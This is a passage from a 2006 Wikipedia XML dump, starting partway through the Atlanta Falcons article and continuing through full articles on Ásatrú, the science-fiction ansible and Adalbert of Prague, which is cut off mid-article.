* 1966 - The Falcons play their first NFL season.  After losing their first nine games, the Falcons would get their first franchise win on the road against the [[New York Giants]] 27-16 [http://www.atlantafalcons.com/history/timeline.jsp]. Former Giant Ernie Wheelwright scored two TD's receiving and ran for 51 more yards as QB Randy Johnson hit for a trio of TD's.  Their first ever home victory against the [[Arizona Cardinals|St. Louis Cardinals]] 16-10.  The Falcons end their inaugural season at 3-11, yet Nobis wins the NFL Rookie of the Year Award and becomes the first Falcon named to the Pro Bowl.  
* 1968 - On October 1 , [[Norm Van Brocklin]], formerly head coach of the [[Minnesota Vikings]], is named to replace Norb Hecker after three games of season. Two weeks later, his Falcons beat New York, 24-21, in first meeting between Van Brocklin and his former QB, [[Fran Tarkenton]].
* 1969 - On September 21, the Falcons win their first season opener ever, beating the [[San Francisco 49ers]], 24-12, before home fans. Rookie Tight End Jim Mitchell scored two TD's and club set team record with 229 yards rushing. On [[December 7]], [[Harmon Wages]] threw for a TD in the first quarter (16 yards to [[Paul Flatley]]), caught a pass for a TD in the second quarter (88 yards), and then ran for a TD in the fourth quarter (66 yards) in a 45-17 rout of the Saints. The Falcons finish the year with a 6-8 record.
* 1970 - First [[Monday Night Football]] game in Atlanta - Nov. 30 vs. [[Miami Dolphins]] (Lost 20-7)
* 1971 - On November 22, the Falcons win their first nationally televised game with a 28-21 triumph over Green Bay in Atlanta. Atlanta had 77 plays to the Packers 33, outgaining them 386-143, as [[Monday Night Football]] televised the action. On December 19, the Falcons beat New Orleans, 24-20, with 40 seconds left in the game. The victory gives the Falcons with a winning record for the first time, at 7-6-1.
* 1972 - On October 1, the Falcons finally defeat the [[St. Louis Rams|Los Angeles Rams]], 31-3 at Atlanta Stadium. [[Dave Hampton]] and [[Art Malone]] set a club record by each running for over 100 yards. On December 17, Hampton technically became the club's first 1,000- yard rusher. Against the [[Kansas City Chiefs]], the veteran running back ran for his 1,000th yard. However, his next carry was a six-yard loss and his final carry a one-yard gain. Thus, he ended at 995. The Falcons finish second in the NFC West, their highest division finish in franchise history up to that point, with a 7-7 record. 
* 1973 - Opening against New Orleans, the Falcons smash 35 team records en route to 62-7 victory on September 16. On November 19, the Falcons upset the unbeaten [[Minnesota Vikings|Vikings]], 20-14, before a national television audience. Dave Hampton once again barely misses the 1,000 yard mark. The Falcons finish 9-5 for their most wins and best record ever, but lose out for the playoffs by one game.
* 1974 - Falcons fall into last place in the NFC West with a 3-11 record. Van Brocklin is dismissed as Head Coach.
* 1975 - With the first pick in the NFL Draft, the club selects quarterback [[Steve Bartkowski]] of the [[University of California]]. The Falcons finish the year with a 4-10 record, but Dave Hampton finally breaks the 1,000 yard mark (1,002) in a 22-13 loss to the [[Green Bay Packers]].
* 1977 - Former NFL quarterback [[Eddie LeBaron]] is named General Manager, and [[Leeman Bennett]] becomes the fifth Head Coach in club history. The Falcons defense sets an NFL record for the fewest points allowed in a 14 game season, 129. Falcons finish with a 7-7 record.
* 1978 - On November 12, Falcons win over the [[New Orleans Saints]] in a game now known as &quot;Big Ben Right&quot;. With 19 seconds left, Bartkowski threw 57 yards into a cluster where [[Alfred Jackson]] caught a pass deflected by [[Wallace Francis]]. The Falcons make the playoffs for the first time with a 9-7 record, and beat the visiting [[Philadelphia Eagles]] 14-13 on Christmas Eve. The next week they lose to the [[Dallas Cowboys]] in Dallas, 27-20.
* 1979 - The team finishes with a 6-10 record. Records were broken for the season by [[William Andrews]] with 1,023 yards, by [[Wallace Francis]] with 74 catches for 1,013 yards and by Steve Bartkowski with 2,502 yards (203-379).
* 1980 - Highly successful season for the Falcons, as they finish 12-4. Bartkowski throws for three touchdowns on December 14 as the Falcons defeat the [[San Francisco 49ers]], 35-10 to win their first-ever NFC West division title. In the Divisional Playoffs, the Falcons lose to the [[Dallas Cowboys]], 30-27, as Cowboys rally for 20 points in Atlanta before a then-record 60,022 fans.
* 1982 - The Falcons make the playoffs in this strike-shortened season with a record of 5-4, but they would end up losing to the [[Minnesota Vikings]] in Minnesota 30-24. Bennett is dismissed as Head Coach soon after, and is replaced by [[Dan Henning]].
* 1989 - First-round draft pick [[Deion Sanders]] ends his lengthy contract holdout and reports to camp. He takes a Friday practice and Saturday walk through and puts on the football pads for the first time in seven months in the season opener vs. the Rams. In the first quarter, &quot;Prime Time&quot; returns a punt 68 yards for a touchdown. After hitting a home run for the [[New York Yankees]] earlier that week, it makes him the only modern day athlete to hit a HR and score a TD in the same week.
* 1991 - The &quot;2 Legit 2 Quit&quot; Falcons make the playoffs as the sixth seed with a 10-6 record, snapping a streak of eight consecutive losing seasons. Notable personalities on this team are CB [[Deion Sanders]] and WR [[Andre Rison]]. Rapper [[MC Hammer]] is seen on the sideline at several games during the season, as is country star [[Travis Tritt]]. The Falcons made it to the second round of the playoffs by beating the [[New Orleans]] [[New Orleans Saints|Saints]] at the [[Superdome]] (27-20). The next week, they would end up losing to the eventual Super Bowl champion [[Washington Redskins]] 24-7.  After the season, the Falcons make a fateful trade with the [[Green Bay Packers]]. The Packers give them a first round [[NFL Draft]] pick for a third-string quaterback named [[Brett Favre]].
* 1992 - The [[Georgia Dome]] becomes the new home for the Atlanta Falcons, as they move from Atlanta-Fulton County Stadium.
* 1995 - In the final game of the season, the Falcons come from behind to beat the [[San Francisco 49ers]] 28-27 to secure a playoff spot.  They go on to lose to the [[Green Bay Packers]] at [[Lambeau Field]] 37-20.
* 1998 - Led by QB [[Chris Chandler]] and RB [[Jamal Anderson]], the &quot;Dirty Bird&quot; Falcons have their greatest season to date. On [[November 8]], they won 41-10 over the Patriots at New England, snapping a streak of 22 consecutive losses at cold-weather sites in November and December that had dated back to 1982.  The team finishes with a 14-2 regular season record and win the NFC West. On January 18, 1999, the Falcons upset the top-seeded 15-1 Vikings at Minnesota in the NFC Championship Game, 30-27 in overtime.  They would lose, 34-19, to the [[Denver Broncos]] in [[Super Bowl XXXIII]].
* 2001 - Trade the #5 pick along with Tim Dwight to the [[San Diego Chargers]] for the #1 pick in the draft. With that pick they selected [[Michael Vick]], who goes on to become the face of the franchise.
* 2002 -  The Falcons make the playoffs with a 9-6-1 record, then shock the National Football League on January 4th, 2003 by becoming the first road team in NFL history to defeat the [[Green Bay Packers]] 27-7 in a playoff game at [[Lambeau Field]]. Their playoff run would end in Philadelphia as the Eagles won, 20-6.
* 2003 -  After star QB Michael Vick breaks his leg in the preseason, the Falcons suffer through a 5-11 season. With 3 games left in the season, coach [[Dan Reeves]] resigns, handing the team to his defensive coordinator and former Bills coach [[Wade Phillips]]. The Falcons draft [[Virginia Tech]] CB [[DeAngelo Hall]] with the 8th pick in the 2004 [[NFL Draft]].
* 2004 -  Buoyed by the return of QB [[Michael Vick]] and energized by new Head Coach [[Jim L. Mora]], the Falcons go 11-5 and easily win the [[NFC South]]. After having a first round bye and defeating the [[St. Louis Rams]] in the Divisional Round 47-17, the team advanced to the NFC Championship game where they lost to the [[Philadelphia Eagles]] 27-10.
* 2005 - After a 6-2 start the Falcons lost 6 of their remaining 8 games. Bright spots include the Falcons ending their Monday Night Football jinx by going 3-0, and on Thursday, November 24, the Falcons played on [[Thanksgiving Day]] for the first time in franchise history, beating the [[Detroit Lions]] 27-7. On the next-to-last game of the regular season, the Falcons got  eliminated from playoff contention with a 27-24 overtime loss against the [[Tampa Bay Buccaneers]]. The Falcons finished 8-8 and once again failed to attain back-to-back winning seasons.

===Season-by-season records===
{{Start NFL SBS|#B20032|#FFFFFF}}
|-
|1966 || 3 || 11 || 0 || 7th East || --
|-
|1967 || 1 || 12 || 1 || 4th Coastal || --
|-
|1968 || 2 || 12 || 0 || 4th Coastal|| --
|-
|1969 || 6 || 8 || 0 || 3rd Coastal || --
|-
|1970 || 4 || 8 || 2 || 3rd NFC West || --
|-
|1971 || 7 || 6 || 1 || 3rd NFC West || --
|-
|1972 || 7 || 7 || 0 || 2nd NFC West || --
|-
|1973 || 9 || 5 || 0 || 2nd NFC West || --
|-
|1974 || 3 || 11 || 0 || 4th NFC West || --
|-
|1975 || 4 || 10 || 0 || 3rd NFC West || --
|-
|1976 || 4 || 10 || 0 || 3rd NFC West || --
|-
|1977 || 7 || 7 || 0 || 2nd NFC West || --
|-
|1978 || 9 || 7 || 0 || 2nd NFC West || Lost [[NFL playoffs, 1978-79|Divisional Playoffs]] ([[Dallas Cowboys|Cowboys]])
|-
|1979 || 6 || 10 || 0 || 3rd NFC West || --
|-
|1980 || 12 || 4 || 0 || 1st NFC West || Lost [[NFL playoffs, 1980-81|Divisional Playoffs]] ([[Dallas Cowboys|Cowboys]])
|-
|1981 || 7 || 9 || 0 || 2nd NFC West || --
|-
|1982 || 5 || 4 || 0 || 5th NFC Conf. || Lost [[NFL playoffs, 1982-83|First Round]] ([[Minnesota Vikings|Vikings]])
|-
|1983 || 7 || 9 || 0 || 4th NFC West || --
|-
|1984 || 4 || 12 || 0 || 4th NFC West || --
|-
|1985 || 4 || 12 || 0 || 4th NFC West || --
|-
|1986 || 7 || 8 || 1 || 3rd NFC West || --
|-
|1987 || 3 || 12 || 0 || 4th NFC West || --
|-
|1988 || 5 || 11 || 0 || 4th NFC West || --
|-
|1989 || 3 || 13 || 0 || 4th NFC West || --
|-
|1990 || 5 || 11 || 0 || 4th NFC West || --
|-
|1991 || 10 || 6 || 0 || 2nd NFC West || Lost [[NFL playoffs, 1991-92|Divisional Playoffs]] ([[Washington Redskins|Redskins]])
|-
|1992 || 6 || 10 || 0 || 3rd NFC West || --
|-
|1993 || 6 || 10 || 0 || 3rd NFC West || --
|-
|1994 || 7 || 9 || 0 || 3rd NFC West || --
|-
|1995 || 9 || 7 || 0 || 2nd NFC West || Lost [[NFL playoffs, 1995-96|Wild Card Playoffs]] ([[Green Bay Packers|Packers]])
|-
|1996 || 3 || 13 || 0 || 4th NFC West || --
|-
|1997 || 7 || 9 || 0 || 3rd NFC West || --
|-
|1998 || 14 || 2 || 0 || 1st NFC West || Lost [[Super Bowl XXXIII]] ([[Denver Broncos|Broncos]])
|-
|1999 || 5 || 11 || 0 || 3rd NFC West || --
|-
|2000 || 4 || 12 || 0 || 5th NFC West || --
|-
|2001 || 7 || 9 || 0 || 4th NFC West || --
|-
|2002 || 9 || 6 || 1 || 2nd NFC South || Lost [[NFL playoffs, 2002-03|Divisional Playoffs]] ([[Philadelphia Eagles|Eagles]])
|-
|2003 || 5 || 11 || 0 || 4th NFC South || --
|-
|2004 || 11 || 5 || 0 || 1st NFC South || Lost [[NFL playoffs, 2004-05|Conference Championship]] ([[Philadelphia Eagles|Eagles]])
|-
|2005 || 8 || 8 || 0 || 3rd NFC South || --
{{end box}}
^At the end of the [[2005 NFL season]], the Falcons All-Time Record is 251-365-6 (including playoffs).

==Players of note==
===Current roster===
{{Template:Atlanta Falcons roster}}

===[[Pro Football Hall of Fame]]rs===
[[Image:AtlantaFalconsOld.png|right|framed|Falcons logo (1966-2002)]]
None

===Retired numbers===
* 10 [[Steve Bartkowski]], QB, 1975-85
* 31 [[William Andrews (American football player)|William Andrews]], RB, 1979-83, 1986 (short-lived comeback after knee injury)
* 57 [[Jeff Van Note]], C, 1969-86
* 58 [[Jessie Tuggle]], LB, 1987-2000
* 60 [[Tommy Nobis]], LB, 1966-76
* 78 [[Mike Kenn]], T, 1978-94

===Georgia Sports Hall of Fame===
* 60 [[Tommy Nobis]], LB, 1966-76
* 87 [[Claude Humphrey]], DE, 1968-78
* 57 [[Jeff Van Note]], C, 1969-86
* [[Marion Campbell]], Head Coach, 1974-76, 1987-89 (also Georgia native and [[University of Georgia]] player)
* 85 [[Alfred Jenkins]], WR, 1975-83
* 31 [[William Andrews (American football player)|William Andrews]], RB, 1979-83, 1986
* [[Dan Reeves]], Head Coach, 1997-2003 (also Georgia native)

===Not to be forgotten===
*[[Morten Andersen]]
*[[Jamal Anderson]]
*[[Ray Buchanan]]
*[[Chris Chandler]]
*[[Bill Fralic]]
*[[Michael Haynes]]
*[[Billy Johnson (American football)|Billy &quot;White Shoes&quot; Johnson]]
*[[Terance Mathis]]
*[[Tony Martin]]
*[[Chris Miller]]
*[[Gerald Riggs]]
*[[Andre Rison]]
*[[Deion Sanders]]
*[[O.J. Santiago]]
*[[Esera Tuaolo]]

==Head Coaches==
*[[Norb Hecker]] (1966-1968)
*[[Norm Van Brocklin]] (1968-1974)
*[[Marion Campbell]] (1974-1976)
*[[Pat Peppler]] (interim) (1976)
*[[Leeman Bennett]] (1977-1982)
*[[Dan Henning]] (1983-1986)
*[[Marion Campbell]] (1987-1989)
*[[Jim Hanifan]] (interim) (1989)
*[[Jerry Glanville]] (1990-1993)
*[[June Jones]] (1994-1996)
*[[Dan Reeves]] (1997-2003)
*[[Wade Phillips]] (interim) (2003)
*[[Jim L. Mora|Jim Mora]] (2004-present)

===Current Staff===
*Head Coach - [[Jim L. Mora|Jim Mora]]
*Offensive Coordinator - [[Greg Knapp]]
*Defensive Coordinator - [[Ed Donatell]]
*Special Teams Coach - [[Joe DeCamillis]]
*Quarterbacks Coach - [[Bill Musgrave]]
*Running Backs Coach - [[Ollie Wilson]]
*Wide Receivers Coach - [[George Stewart (football coach)|George Stewart]]
*Tight Ends Coach - [[Clancy Barone]]
*Offensive Line Coach - [[Tom Cable]]
*Offensive Assistant - [[Joe Lombardi]]
*Defensive Line Coach - [[Bill Johnson (football player)|Bill Johnson]]
*Linebackers Coach - [[Chris Beake]]
*Defensive Backs Coach - [[Brett Maxie]]
*Defensive Assistant - [[Chris Dalman]]
*Strength and Conditioning - [[Sal Alosi]]

==External links==
*[http://www.atlantafalcons.com/ Atlanta Falcons official web site]
*[http://www.sportsecyclopedia.com/nfl/atlanta/falcons.html Sports E-Cyclopedia.com]

{{NFL}}

[[Category:Atlanta Falcons| ]]
[[Category:National Football League teams]]
[[Category:1966 establishments]]

[[de:Atlanta Falcons]]
[[fr:Falcons d'Atlanta]]
[[he:אטלנטה פלקונס]]
[[it:Atlanta Falcons]]
[[ja:アトランタ・ファルコンズ]]
[[pt:Atlanta Falcons]]
[[sv:Atlanta Falcons]]</text>
    </revision>
  </page>
  <page>
    <title>Ásatrú</title>
    <id>2104</id>
    <revision>
      <id>42020365</id>
      <timestamp>2006-03-03T06:55:48Z</timestamp>
      <contributor>
        <username>WeniWidiWiki</username>
        <id>566966</id>
      </contributor>
      <comment>/* See also */ troth</comment>
      <text xml:space="preserve">'''Ásatrú''' ([[Icelandic language|Icelandic]] &quot;[[Æsir]] faith&quot;) is a [[new religious movement]]  which is attempting to revive the pre-[[Christianization|Christian]] ([[Viking Age]]) [[Norse mythology|Nordic religion]] as described in the [[Edda|Eddas]]. 

Ásatrú was established in the [[1960s]] and early [[1970s]] in [[Iceland]], by the ''[[Íslenska Ásatrúarfélagið]]'' an organization founded by [[Sveinbjörn Beinteinsson]]. Ásatrú was recognized as an official religion by the governments of [[Iceland]] (in 1973), [[Denmark]] (in 2003) and [[Norway]]. The [[United States]] government does not officially endorse or recognize any religious group; however, numerous Ásatrú groups have been granted [[Non-profit corporation|nonprofit religious]] status going back to the [[1970s]].

While the term ''Ásatrú'' originally referred specifically to the Icelandic adherents of the religion, Germanic [[neopagan]] and [[reconstructionism|reconstructionist]] groups widely identify themselves as Ásatrú, particularly in the [[United States|USA]]. In this wider sense, the term ''Ásatrú'' is used synonymously with '''[[Germanic Neopaganism]]''' or  '''[[Germanic paganism|Germanic Paganism]]''', along with the terms '''Forn Sed''', '''Odinism''',  '''Heithni''', '''[[Heathenry]]''' and others.

==Terminology==
'''Ásatrú''' is an [[Old Norse language|Old Norse]] term consisting of two parts. The first is ''Ása'' (genitive of [[Æsir|Áss]]) referring to one of two families of gods in the myths. The second part, trú, literally  means &quot;troth&quot; or &quot;faith&quot;.  Thus, Ásatrú means &quot;faith in the Æsir.&quot;  The term is the Old Norse/Icelandic translation of ''Asetro'', [[neologism]] coined in the context of  [[19th century]] [[romantic nationalism]], first used by [[Edvard Grieg]] in his [[1870]] opera ''[[Olaf Trygvason]]''.  The use of the term ''Ásatrú'' for Germanic paganism preceding 19th century revivalist movements is an anachronism. Likewise, use of ''Ásatrú'' as a synonym of Germanic Neopaganism, while widespread in the USA, can be misleading. Groups identifying themselves as Ásatrú cover a wide political spectrum, ranging from left-wing [[Environmental movement|environmentalist]] groups, [[New Age|New Agers]], [[universalism|universalists]], [[Neo-Tribalism|tribalists]], [[Polytheistic_reconstructionism|reconstructionists]], [[folkish|folkish groups]] and even [[neonazi]] (e.g. ''[[Artgemeinschaft]]'') movements. 

Members of the ''Íslenska Ásatrúarfélagið'' are somewhat unhappy with the semantic widening of the Icelandic term ''Ásatrú'', and would prefer its usage to specifically apply only to reconstructed medieval Norse paganism. 

''Ásatrúar'', sometimes used as a plural in English, is properly the [[genitive]] of Ásatrú.

==History==
'''Ásatrú''' originated as a second (or third) revival of Germanic paganism in the 1960s and early 1970s. The ''Íslenska Ásatrúarfélagið'' was founded on summer solstice, 1972,  and was recognized as an official religion by the Icelandic government in 1973, largely due to the efforts of Sveinbjörn Beinteinsson. At about this time, in the United States, [[Stephen McNallen]], a former [[U.S. Army]] [[Airborne_forces|Airborne]] [[U.S. Army Ranger|Ranger]], began publishing a newsletter titled ''The Runestone''. He also formed an organization called the ''Asatru Free Assembly'', later renamed the [[Ásatrú Folk Assembly]] which is still extant. [[Else Christensen|Else Christensen's]] ''Odinism'', which sometimes identified with the term ''Asatru'', originated around the same period. An offshoot of McNallen's group is the ''Asatru Alliance'', headed by Valgard Murray, publisher of the &quot;Vor Tru&quot; newsletter. The ''Asatru Alliance'' held its 25th annual &quot;[[Althing]]&quot; gathering in 2005.

==Politics==
'''Ásatrú''' organizations have memberships which span the entire political and spiritual spectrum. Many adherents are solitary practitioners who practice their religion alone with their family or a small local community, and are not involved with organized ''Ásatrú''. Despite the wide divergance of beliefs and politics, the sole common denominator amongst adherents of ''Ásatrú'' is the goal of reconstructing and practicing the historical pre-Christian religion of the [[Poetic Edda|Eddas]].

While ''Ásatrú'' is generally a tolerant religion, in the USA neo-nazis and advocates of [[white power]] are ostracized and shunned by most organizations.&lt;ref&gt;{{cite book | first =Matthias | last =Gardell | authorlink = | coauthors = | year =2003 | month = | title =Gods of the Blood: The Pagan Revival and White Separatism | chapter = | editor = | others = | edition = | pages =269-283 | publisher =Duke University Press | location = | id =ISBN 0822330717 | url = }}&lt;/ref&gt; The three largest American ''Ásatrú'' organizations specifically have denounced association with racist groups.&lt;ref&gt;The positions of the AA, the AFA and the Troth:
:&lt;small&gt;'''From the ''Asatru Alliance's'' Bylaws:''' &quot;The Alliance is apolitical; it is not a front for, nor shall it promote any political views of the 'Right' or 'Left'. Our Sacred temples, groves and Moots shall remain free of any political manifestations.&quot;&lt;/small&gt; [http://asatru.org/bylaws.html]
:&lt;small&gt;'''From the ''Asatru Folk Assembly's'' Bylaws:''' &quot;The belief that spirituality and ancestral heritage are related has nothing to do with notions of superiority. Asatru is not an excuse to look down on, much less to hate, members of any other race. On the contrary, we recognize the uniqueness and the value of all the different pieces that make up the human mosaic.&quot;&lt;/small&gt; [http://runestone.org/flash/home.html]
:&lt;small&gt;'''From the ''Troth's'' Bylaws:''' &quot;Discrimination on the basis of race, gender, ethnic origin, or sexual orientation shall not be practiced by the Troth or any affiliated group, whether in membership decisions or in conducting any of its activities.&quot;&lt;/small&gt; [http://www.thetroth.org/organization/bylaws.html]&lt;/ref&gt;
There is actually an antagonistic relationship between many neo-nazis and the membership of most ''Ásatrú'' organizations in the USA, who view ''&quot;national socialism as an unwanted totalitarian philosophy incompatible with freedom-loving Norse paganism&quot;''&lt;ref&gt;Gardell, p.276. Referring to Stephen McNallen, Valgard Murray and Edred Thorsson; the respective founders of the AFA, the AA and the Troth, which are the three largest Ásatrú groups in the USA.&lt;/ref&gt;

==Notes==
&lt;references/&gt;

== See also ==
* [[Ásatrú Folk Assembly]]
* [[Germanic Neopaganism]]
* [[Heathenry]]
* [[Íslenska Ásatrúarfélagið]]
* [[Neopaganism]]
* [[Polytheistic reconstructionism|Reconstructionism]]
* [[Stephen McNallen]]
* [[Sveinbjörn Beinteinsson]]
* [[Theodism]]
* [[The_Troth|The Troth]]

==External links==
===Neutral descriptions===
*[http://www.religionfacts.com/a-z-religion-index/asatru.htm Asatru (Germanic Paganism)] - ReligionFacts

===Organizations===
*Iceland / Scandinavia
**[http://www.asatru.is/ Ásatrúarfélagið] Iceland (since [[1972]])
**[http://www.bifrost.no/ Åsatrufellesskapet Bifrost] Norway (since [[1996]])
**[http://www.asatrosamfundet.se/ Sveriges Asatrosamfund] Sweden (since [[1994]])
**[http://www.asatrofaellesskabet.dk/ Asatrofællesskabet] Denmark (since [[2003]])
*North America
**[http://www.runestone.org/ Asatru Folk Assembly] (since [[1974]], albeit the ''Asatru Free Assembly'' initially)
**[http://thetroth.org/ The Troth] (since [[1987]])
**[http://www.asatru.org/ Asatru Alliance] (since [[1988]])
*Germany
**[http://www.eldaring.de/ Eldaring] (since [[2000]])
*Australia
**[http://www.aetaustralia.org/  The Assembly of the Elder Troth] (since [[1990]] ?)
*Belgium
**[http://www.traditie.be/ Asatrú-Werkgroep Traditie]
*The Netherlands
**[http://www.hetrad.nl/ Het Rad]

[[Category:Ásatrú]]

[[ar:اساترو]]
[[bg:Асатру]]
[[cs:Ásatrú]]
[[da:Asetro]]
[[de:Asatru]]
[[el:Αζατρού]]
[[es:Ásatrú (religión)]]
[[fr:Asatru]]
[[nl:Ásatrú]]
[[nn:Åsatru]]
[[pl:Ásatrú]]
[[ro:Asatru]]
[[fi:Ásatrú]]
[[sv:Asatro]]</text>
    </revision>
  </page>
  <page>
    <title>Ansible</title>
    <id>2106</id>
    <revision>
      <id>34844400</id>
      <timestamp>2006-01-12T02:57:22Z</timestamp>
      <contributor>
        <username>Zack</username>
        <id>20740</id>
      </contributor>
      <comment>put the &quot;could we build one&quot; paragraph mostly back as it was - see talk page</comment>
      <text xml:space="preserve">The term '''ansible''' is used in [[science fiction]] literature to describe a hypothetical [[superluminal communication|faster-than-light]] communication device.  It was coined by [[Ursula K. Le Guin]] in her [[1966]] novel, ''[[Rocannon's World]]''. She derived the name from &quot;answerable&quot;, as the device would allow its users to receive answers to their messages in a reasonable amount of time, even over interstellar distances.  Her award-winning [[1974]] novel ''[[The Dispossessed]]'' tells of the invention of the ansible within her [[Ekumen]] milieu. 

The name and basic function of the device have since been borrowed by authors such as [[Frank Herbert]], [[Orson Scott Card]], [[Elizabeth Moon]], [[Vernor Vinge]], [[L.A. Graf]], [[Dan Simmons]], and [[Philip Pullman]] (though his was called a &quot;lodestone resonator&quot;).  Other science fiction stories have devices with similar effects that are not called ansibles; perhaps the best known is [[Star Trek]]'s &quot;subspace radio&quot;.  One ansible-like device which predates Le Guin's usage is the &quot;Dirac communicator&quot; in [[James Blish]]'s [[1954]] short story &quot;Beep&quot;.

Le Guin's ansible communicated instantaneously, and so do most other authors'.  A notable exception is the ansible in the Vinge short story &quot;The Blabber&quot;, which merely communicates faster than light &amp;mdash; in a universe where that is believed impossible.  

There is no known way to build an ansible.  While current theories of physics do not absolutely rule out the possibility, the theory of [[special relativity]] predicts that any such device would allow communication from the future to the past, which raises problems of [[causality]].  For this reason, most physicists believe that they will eventually be proven impossible.  [[Quantum entanglement]] is often proposed as a mechanism for superluminal communication, but our current understanding of that phenomenon is that it cannot be used for ''any'' sort of communication, superluminal or otherwise.  See [[time travel]] and [[faster-than-light]] for more discussion of these issues.

Orson Scott Card's [[Ender's Game series]] is probably the most widely read work to use an ansible (&quot;The official name is Philotic Parallax Instantaneous Communicator,&quot; explains Col. [[Hyrum Graff|Graff]] in ''[[Ender's Game]]'', &quot;but somebody dredged the name ''ansible'' out of an old book somewhere&quot;).  His description of ansible functions in ''[[Xenocide]]'' involve a fictional subatomic particle, the [[philote]], and contradicts not only standard physical theory but the results of empirical [[particle accelerator]] experiments.  In the &quot;Enderverse&quot;, the two [[quark]]s inside a [[pion|pi meson]] can be separated by an arbitrary distance while remaining connected by &quot;philotic rays&quot;.  In the real world, [[quark confinement]] prevents one from separating quarks by more than microscopic distances.  Most writers deliberately avoid explaining how their ansibles work; Card elaborated only because [[philotics]] became important to later volumes of the series.

See also [[tachyon]].

----

'''''Ansible''''' is also a [[science fiction]] [[fanzine]] published by [[Dave Langford]], named after the faster-than-light communicator.

==External links==
*[http://news.ansible.co.uk Ansible Home Page]
*[http://www.jessesword.com/sf/view/16 Science Fiction Citations - Ansible] from the [[Oxford English Dictionary]]
*[http://ansible.org/ Ansible MOO]: A [[MOO]] based on the [[Enderverse]] series by [[Orson_Scott_Card| Orson Scott Card]]

[[Category:Science fiction themes]]
[[Category:Science fiction fanzines]]
[[Category:Faster-than-light communication]]
[[Category:Ekumen]]

[[es:Ansible]]</text>
    </revision>
  </page>
  <page>
    <title>Adalbert of Prague</title>
    <id>2108</id>
    <revision>
      <id>42042282</id>
      <timestamp>2006-03-03T11:50:02Z</timestamp>
      <contributor>
        <ip>212.16.1.121</ip>
      </contributor>
      <comment>/* Religious acts */</comment>
      <text xml:space="preserve">[[Image:Adalbert of Prague.jpg|thumb|right|Adalbert, part of the Wenceslas Monument on the [[Wenceslas Square]] in [[Prague]]]]

'''Adalbert''' ([[Czech language|Czech]]: {{Audio|Cs-svaty_Vojtech.ogg|''Vojtěch''}}, [[Polish language|Polish]]: ''Wojciech'', Germanic: ''Adalbert'') (c. [[956]] - [[April 23]], [[997]]) was a bishop of Prague who was martyred in his efforts to convert the Baltic Prussians.  He was later made the [[patron saint]] of [[Bohemia]], [[Poland]], [[Hungary]], and [[Prussia (province)|Prussia]].

== Birth and youth ==

Vojtěch was born of a noble family of prince [[Slavnik]] in [[Libice nad Cidlinou]], [[Bohemia]]. His father was a rich and independent ruler of [[Zlicans|Zličan]] princedom that rivaled Prague (see [[Slavník's dynasty]]). According to [[Cosmas of Prague|Cosmas']] chronicle, Slavnik was a happy man all his lifetime. Vojtěch had six brothers: Soběbor (Slavnik's heir), Spytimir, Pobraslav, Porej, Caslav and Radim (Gaudentius). The latter chose clerical path as well as Vojtěch did.

Vojtěch was a well-educated man. He studied for about ten years (970-80) in [[Magdeburg]] under Saint [[Adalbert of Magdeburg|Adalbert]]. When Adalbert died, Vojtěch took on the name Adalbert Vojtěch. His another preceptor was Otterich from st. Maurice school. Being gifted and industrious, Adalbert Vojtěch soon became well-known all over Europe.

== Religious acts ==
[[Image:Bishopcoa.png|170px|right]]
In 980 Adalbert finished his studies at Magdeburg school and returned to Prague where he became a priest.
In 981 his father, prince Slavnik, and both his mentors died.

In [[982]] Adalbert became the [[Bishop of Prague]]. However, he strongly resented the participation of formally Christian inhabitants in the [[slavery|slave]] trade. Although Adalbert descended from a rich family and could afford comfort and luxury, he lived poorly of his own free will. He was noted for charity, austerity, and zealous service to the Church. His duty was hard even in baptized Bohemia, as pagan creed was deeply embedded in peoples' mind. Adalbert complained of poligamy and idolatry that still were not unusual among the Czech.

In 989 he resigned from his bishop's cloth and leaved Prague. He went to Rome and lived as a hermit in st. Alexis benedictine monastery.

Four years later, in 993 the [[Pope]] sent him back to [[Bohemia]]. Adalbert became the Bishop again. That time he founded a monastery in Břevnov, near Prague. This was was the first monastery in Czechia. According to Cosmas' chronicle, high clerical office was a burden to Adalbert, and in 994 he offered it to [[Strachkvas]] who was Přemyslid and Duke Boleslav's brother. Strachkvas, nevertheless, rejected.

In 995 Slavniks' rivalry with Přemyslids resulted in a storm of Libice and a cruel murder of four (or five) Adalbert's brothers. All this was done by will of [[Boleslav II of Bohemia|Boleslav II]], and the key executors were his confederates from a powerful clan of Vrśovci. Thus Zličan princedom became part of Přemyslids' estate.

Adalbert damned Vrśovci in church and predicted that they would be severely persecuted. After the tragedy he could not stay in Bohemia any longer and escaped from Prague, despite the Pope's call for him to return to his episcopal see. Strachkvas was appointed to be his successor. However, when he was going to assume the Bishop office in Prague, he suddenly died during the ceremony itself. Circumstances of his death are still unclear.

As for Adalbert, he went to Hungary and baptized [[Geza of Hungary]] and his son [[Stephen of Hungary|Stephen]]. Then he went to Poland where he was cordially welcomed by [[Bolesław I the Brave]]. After the short visit Adalbert went to Prussia with a Christian mission.

== Mission and martyrdom in Prussia ==
[[Image:Adalb.jpg|right|frame|Saint-Adalbert is being killed by [[Prussians]], part of [[Gniezno Doors]]]]
Adalbert Vojtěch of [[Prague]] had already in [[977]] entertained the idea of becoming a [[missionary]] in [[Prussia (Baltic)|Prussia]]. After he had converted [[Hungary]], he was sent by the [[Pope]] to convert the heathen [[Prussia (Baltic)|Prussians]].  [[Boleslaus I of Poland|Boleslaus the Brave]], duke of [[Poland]], sent [[soldiers]] with Adalbert. The bishop and his followers entered [[Prussia (Baltic)|Prussian]] territory near [[Gdańsk]] and went along the [[Baltic Sea]] coast.  

It was a standard procedure of Christian missionaries to try to chop down sacred oak trees (see [[Iconoclasm]]), which they had done in many other places, including [[Saxony]]. Because the trees were worshipped and the spirits who were believed to inhabit the trees were feared for their powers, this was done to demonstrate to the non-Christians that no supernatural powers protected the trees from the Christians.

When they did not heed warnings to stay away from the sacred oak groves, Adalbert was [[martyr|martyred]] in April [[997]] on the [[Baltic Sea]] coast near Truso (currently [[Elbląg]]). It is recorded that his body was bought back for its weight in [[gold]] by [[Boleslaus I of Poland|Boleslaus the Brave]].

== Canonization and memory ==

A few years later Adalbert was [[canonization|canonized]] as '''Saint Adalbert of Prague.''' His life has been written about in ''Vita Sancti Adalberti'' by various writers, the earliest was traced to imperial [[Aachen]] and [[Liège (city)|Liège]], although it was assumed for many years that the [[Rome|Roman]] monk [[John Canaparius]] had written the first ''Vita'' in 999. Another famous biographer of Adalbert was st. [[Bruno of Querfurt]] who wrote his hagiography in 1001-1004.

